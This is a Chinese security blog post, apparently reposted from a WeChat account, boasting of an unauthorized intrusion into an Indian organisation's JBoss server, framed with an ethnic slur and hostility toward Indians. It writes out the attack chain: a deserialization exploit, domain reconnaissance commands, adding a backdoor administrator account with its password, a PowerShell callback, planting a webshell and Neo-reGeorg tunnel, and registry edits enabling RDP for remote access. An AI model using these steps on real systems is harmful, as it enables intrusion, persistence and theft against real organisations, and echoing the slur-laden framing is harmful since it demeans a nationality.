免责声明
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把夜组安全“设为星标”，否则可能就看不到了啦！
实战渗透
攻击目标
今天看到一个新闻报道关于阿三的内容，看完非常不爽。于是找了一个阿三的站盘一下
一眼Jboos
盘他
步骤一：使用漏洞探测工具发现存在反序列化漏洞...且命令收集以下信息
net user //存在域用户，为域环境tasklist /svc //不存在杀毒软件，但可能存在流量查杀软件ipconfig /all //存在域：otr-ict.chn 且为内网环境netstat -an | findstr 3389 //未开启RDP服务setspn -q */* //查看SPN信息，只有域控nltest /domain_trusts //单域net user sis2212 123admiN@ /add //successnet localgroup administrators sis2212 /add //success
步骤二：这里直接使用PowerShell上线，发现该主机使用CDN服务.....
步骤三：尝试GetShell...这里是真的难啊
shell netstat -anb //8181--》QCJavaService.exeshell wmic process where name="QCJavaService.exe" get processid,executablepath,name//--》 C:ProgramDataHPALMJBossbinQCJavaService.exeC:ProgramDataHPALMjbossserverdefaultdeployROOT.war //这里直接上传peak马和regeorg文件这里翻遍了磁盘目录，很是无语
步骤四：访问shell.jsp并使用蚁剑链接....访问t0l.jsp(Neo-reGeorg服务端)成功...
步骤五：使用以下命令开启RDP服务并搭建通信隧道...
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /freg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp" /v PortNumber /t REG_DWORD /d 3389 /freg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /fREG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
步骤六：连通通信隧道并使用SockCap64进入，远程桌面链接....
总结
往期精彩
记一次三层网络环境下的域渗透
一个强大完备的黑客工具箱
原文始发于微信公众号（李白你好）：实战拿下印度阿三的垃圾服务器
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论